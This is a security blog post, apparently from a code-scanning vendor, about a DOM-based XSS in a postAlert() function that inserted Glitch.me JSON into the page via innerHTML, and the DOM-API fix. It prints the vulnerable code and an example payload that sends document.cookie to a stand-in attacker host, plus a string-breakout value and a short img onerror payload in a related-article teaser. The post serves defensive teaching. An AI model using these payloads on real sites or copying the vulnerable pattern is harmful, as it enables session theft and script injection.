Back to Blog
high SEVERITY4 min read

innerHTML Injection in postAlert(): Glitch.me Data Renders Unsanitized

The `postAlert()` function fetched alert data from a Glitch.me endpoint and injected it directly into the DOM using `innerHTML`, enabling arbitrary JavaScript execution if that external source was compromised. The fix replaces the HTML string concatenation with safe DOM API methods: `document.createTextNode()` for content and `addEventListener()` for event handlers, eliminating the injection vector entirely.

O
By Orbis AppSec
•Published September 26, 2026•Reviewed September 26, 2026

Answer Summary

The `postAlert()` function in a client-side JavaScript application that consumes a Glitch.me JSON endpoint. An attacker achieving compromise of the external Glitch.me endpoint could inject arbitrary JavaScript that executes in victims' browsers when alerts are rendered. Fixed by replacing `innerHTML` string templating with `document.createTextNode()` and programmatic DOM element construction; no specific versioned package release applies as this is first-party code. CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerability at a Glance

cweCWE-79
fixReplace `innerHTML` with `document.createTextNode()` and `addEventListener()` for safe DOM construction
riskArbitrary JavaScript execution if external Glitch.me endpoint compromised
languageJavaScript
root cause`innerHTML` used with unsanitized external JSON data including `alert.title`, `alert.timeStamp`, and `alert.text`
vulnerabilityDOM-based Cross-Site Scripting (XSS)

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The Vulnerability Explained

A client-side alert system relied on a Glitch.me-hosted JSON endpoint to deliver notification content. The postAlert() function received this data and rendered it using innerHTML with direct string templating—no validation, no encoding, no separation between structure and content.

The vulnerable pattern:

popup.innerHTML += `<p class="popupTitle">${alert.title}<span class="popupTime">${new Intl.DateTimeFormat(...).format(new Date(alert.timeStamp))}</span></p><p class="popupBody">${alert.text}</p><button onclick="closePopup('${alert.name}');">Close</button><button onclick="markAsRead('${alert.name}');closePopup('${alert.name}');">Mark As Read</button>`;

Three separate injection points existed in this single line: alert.title, alert.text, and alert.name all flowed directly into HTML and JavaScript contexts without escaping. A compromised Glitch.me endpoint could return:

{
  "title": "<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>",
  "text": "Benign-looking content",
  "name": "');alert(document.domain)//"
}

The alert.name parameter proved particularly dangerous—it appeared inside single-quoted JavaScript strings in four separate onclick handlers. A value like '); maliciousCode(); // would break out of the intended function call and execute attacker-controlled code.

Because this executed during popup rendering, any user viewing alerts would trigger the payload immediately. The external dependency on Glitch.me meant the application trusted a third-party domain with full JavaScript execution capability in the application's origin.

The Fix

The remediation abandons innerHTML entirely, replacing string templating with programmatic DOM construction that treats all external data as literal text:

const title = document.createElement("p");
title.className = "popupTitle";
title.append(document.createTextNode(alert.title));
const time = document.createElement("span");
time.className = "popupTime";
time.textContent = new Intl.DateTimeFormat('en-us', {year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric'}).format(new Date(alert.timeStamp));
title.appendChild(time);
const body = document.createElement("p");
body.className = "popupBody";
body.textContent = alert.text;
const closeBtn = document.createElement("button");
closeBtn.textContent = "Close";
closeBtn.addEventListener("click", () => closePopup(alert.name));
const markBtn = document.createElement("button");
markBtn.textContent = "Mark As Read";
markBtn.addEventListener("click", () => { markAsRead(alert.name); closePopup(alert.name); });
popup.append(title, body, closeBtn, markBtn);

This change addresses four distinct problems simultaneously:

  1. Content injection eliminated: document.createTextNode(alert.title) and textContent assignments ensure alert.title and alert.text render as literal text regardless of HTML metacharacters.

  2. Event handler injection eliminated: addEventListener() attaches handlers programmatically. The alert.name value never enters a JavaScript parsing context as a string—it passes directly as a function argument.

  3. Structure integrity guaranteed: By creating elements individually and appending them, the DOM structure cannot be corrupted by malformed input. There's no template to break.

  4. Timing attack resistance: The onclick attributes in the original code evaluated in the global scope with full access to window. The closure-based handlers in the fix limit scope and execute strictly when attached.

The alert.name parameter still appears in the code, but exclusively as a property assignment (popup.id = alert.name) and function argument—not as executable script. The ID attribute injection remains a theoretical concern if used elsewhere, but the critical JavaScript execution vector is closed.

Key Takeaways

  • innerHTML with template literals is a dangerous default: When external data meets innerHTML +=...${variable}...``, every interpolated variable is an injection point. The convenience of string templating obscures the security boundary.

  • Glitch.me endpoints are not trust boundaries: Any externally hosted JSON source that renders directly to the DOM must be treated as untrusted, even if nominally controlled by the same organization. Compromise of the external endpoint equals compromise of your origin.

  • Event handlers in templates compound the risk: The original code embedded alert.name in four separate onclick attributes, creating JavaScript context escapes that bypassed HTML-focused sanitization. Moving to addEventListener() removes the parsing step entirely.

  • createTextNode and textContent are not interchangeable with innerHTML: They are fundamentally different operations—one creates a text node, the other parses HTML. Choosing correctly prevents entire classes of injection.

  • DOM construction patterns scale more safely: While verbose, the programmatic approach makes each data flow explicit and auditable. The structure of the code now matches the structure of the security policy.

How Orbis AppSec Detected This

Source: The alert.title, alert.text, and alert.name properties from JSON fetched from the external Glitch.me endpoint

Sink: The innerHTML property assignment in the postAlert() function, specifically popup.innerHTML +=...`` with embedded template expressions

Missing control: Absence of output encoding, content sanitization, or structural separation; no validation that alert.name was safe for JavaScript identifier context

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Replaced innerHTML string templating with document.createElement(), document.createTextNode(), textContent assignments, and addEventListener() for event binding

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The postAlert() vulnerability demonstrates how a single innerHTML line can collapse multiple security boundaries: external data becomes executable code, third-party trust becomes same-origin execution, and template convenience becomes injection opportunity. The fix—trading string templating for explicit DOM construction—restores those boundaries without sacrificing functionality. For applications consuming external JSON endpoints, this pattern of programmatic DOM building should be the default, not the exception.

Prevention and further reading

Frequently Asked Questions

Why couldn't the `onclick` handlers remain inline in the fixed version?

Inline handlers like `onclick="closePopup('${alert.name}')"` required string interpolation into `innerHTML`, which would have reintroduced the injection vector. The fix moves to `addEventListener()` to attach handlers programmatically without string concatenation.

Does the `alert.name` parameter still appear in the DOM after the fix?

Yes, but only as the `id` attribute on the popup container (`popup.id = alert.name`), not as executable script. The fix eliminates the injection of `alert.name` into JavaScript context via template literals.

Is `textContent` sufficient sanitization for the `alert.text` field, or was `createTextNode` specifically required?

The fix uses `document.createTextNode(alert.title)` for the title and `textContent` for the body—both achieve the same outcome of treating content as literal text. The key change is abandoning `innerHTML` entirely, not the specific safe property chosen.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

high

escapeQuotes() Gap Lets File Names XSS Search Results

The desktop app's file-search results renderer built HTML strings from file names and paths using only `escapeQuotes()` and `escapeBackSlash()`, which strip quotes and backslashes but leave `<`, `>`, and `&` untouched. A file or folder named with an HTML payload such as `<img src=x onerror=alert(1)>` would execute when the matching search result was rendered, giving an attacker script execution in the app's DOM context.

critical

DataTables RowGroup startRender XSS via Unescaped Group Data

DataTables RowGroup's default `startRender` callback inserted group labels directly into the DOM using HTML-aware methods, enabling XSS when user data reached the `dataSrc` property. The fix applies `util.escapeHtml()` to neutralize malicious payloads before insertion.

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

high

CVE-2026-54290: hono cors() Reflects Any Origin With Credentials

The `hono` CORS middleware, as resolved in this service at 4.12.8, reflected the caller's `Origin` header back in `Access-Control-Allow-Origin` while also emitting `Access-Control-Allow-Credentials: true` whenever the `origin` option was left at its `'*'` default. That combination makes any website a trusted origin for credentialed cross-origin reads. The dependency range was raised from `^4.7.1` to `^4.13.5`, moving the installed copy from 4.12.8 to 4.13.5.